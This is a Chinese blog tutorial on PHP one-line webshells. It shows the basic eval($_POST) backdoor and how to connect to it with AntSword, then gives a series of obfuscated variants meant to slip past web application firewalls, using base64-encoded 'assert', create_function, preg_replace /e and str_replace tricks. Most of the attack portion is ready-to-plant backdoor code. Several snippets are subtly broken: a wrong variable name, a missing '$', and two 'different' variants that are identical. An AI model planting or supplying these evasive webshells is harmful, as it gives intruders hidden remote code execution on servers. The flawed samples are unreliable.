当前位置:首页 > 建站技术 > 正文内容

php一句话木马

二向箔2022-06-30 14:25:02建站技术902

一句话木马简介

一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。


一句话木马工作原理

<?php @eval($_POST['shell']);?>

这是php的一句话后门中最普遍的一种。它的工作原理是:

首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。


实例:

<?php @eval($_POST['shell']);?>

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

20191217231030-5d85fb08-20df-1.jpg


也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):

在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell

20191217231048-6807a40a-20df-1.jpg

然后就可以看到目标站点目录下的文件了

20191217231103-712be9ba-20df-1.jpg


一句话木马的多种变形

一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。


php变量

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。


php变量简单变形1

<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成


php变量简单变形2

<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>

使用大小写混淆配合字符串转小写函数strtolower组合而成


PHP可变变量

<?php
$bb="assert";
$a='bb';
$$aa($_POST['shell']);
?>

以上代码可表示为$$aa = $($aa) = $ (‘bb’) = $bb = "assert"


自定义函数

<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数


create_function函数

<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数


call_user_func()函数

<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数


base64_decode 函数

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数


preg_replace函数

<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。


pares_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。


str_replace函数

<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数


以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

扫描二维码推送至手机访问。

版权声明:本站内容为原创和部分整理自网络,如有侵权务必联系我们删除,保障您的权益,本站所有软件资料仅供学习研究使用,不可进行商业用途和违法活动,本站不承担任何法律责任。

本文链接:https://www.erxbo.com/post/13.html

分享给朋友:

“php一句话木马” 的相关文章

如何封禁AhrefsBot,SemrushBot,MJ12bot等垃圾蜘蛛爬虫

如何封禁AhrefsBot,SemrushBot,MJ12bot等垃圾蜘蛛爬虫

AhrefsBot,SemrushBot,MJ12bot等蜘蛛都是国外做网站第三方分析的平台(类似于国内的站长工具),分析的数据(网站内链,外链,历史,权重等)提供给做谷歌SEO的人员使用,按说不屏蔽也没什么关系。但是如果他爬取频率太高,影响了网站正常的访问,或者给网站服务器造成很大的压力,那么我们...

网站全站变黑白如何实现

发生一些重大的公共事件,或者一些重要的日子等,很多网站需要变成黑白两色,那么它是怎么实现的呢其实很简单,几行CSS代码即可实现,把下面这段CSS代码放到公共文件中即可。body *{ -webkit-filter: grayscale(100%); /* w...

php5.x版本安装Suhosin扩展禁用eval函数教程

php5.x版本安装Suhosin扩展禁用eval函数教程

下载:suhosin扩展官网:https://suhosin.org/  下载合适的版本直接下载:suhosin-master.zip这个是suhosin5版本,我的PHP使用的是PHP5.6,PHP7以上的安装方式不一样,版本也不同,注意区分。今天主要介绍一下PHP5.x版本的安装过程:...

帝国CMS 编辑器上传图片取消宽高的方法

帝国CMS 编辑器上传图片取消宽高的方法

帝国cms 在后台编辑器内上传图片的时候,会自动获取图片的宽高,同时代码中也会出现图片的宽高尺寸,看起很智能其实很不方便,图片的宽高固定之后,前台文章显示就会出现变形,高度还好,图片一但超过文章页的宽度,图片宽度就会被自动压缩,导致图片变形。所以后台编辑器中的默认宽高一定要去掉。1,找到文件路径,修...

soybean-admin 高颜值且功能强大的后台管理模板

soybean-admin 高颜值且功能强大的后台管理模板

一个清新优雅、高颜值且功能强大的后台管理模板特性:- 前沿技术应用:采用 Vue3, Vite5, TypeScript, Pinia 和 UnoCSS 等最新流行的技术栈。- 清晰的项目架构:采用 pnpm monorepo 架构,结构清晰,优雅易懂。- 严格的代码规范:遵循 SoybeanJS...

帝国cms迁移教程

帝国cms迁移教程

网站迁移步骤:    1、在旧服务器备份数据库、“d”附件目录与表单目录;2、到新服务器安装新的帝国网站管理系统;3、登陆后台恢复备份的数据库、“d”附件目录与表单目录;4、重新生成前台页面;5、网站迁移完毕。    一、在旧服务器备份数据库、“d”附件目录与...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。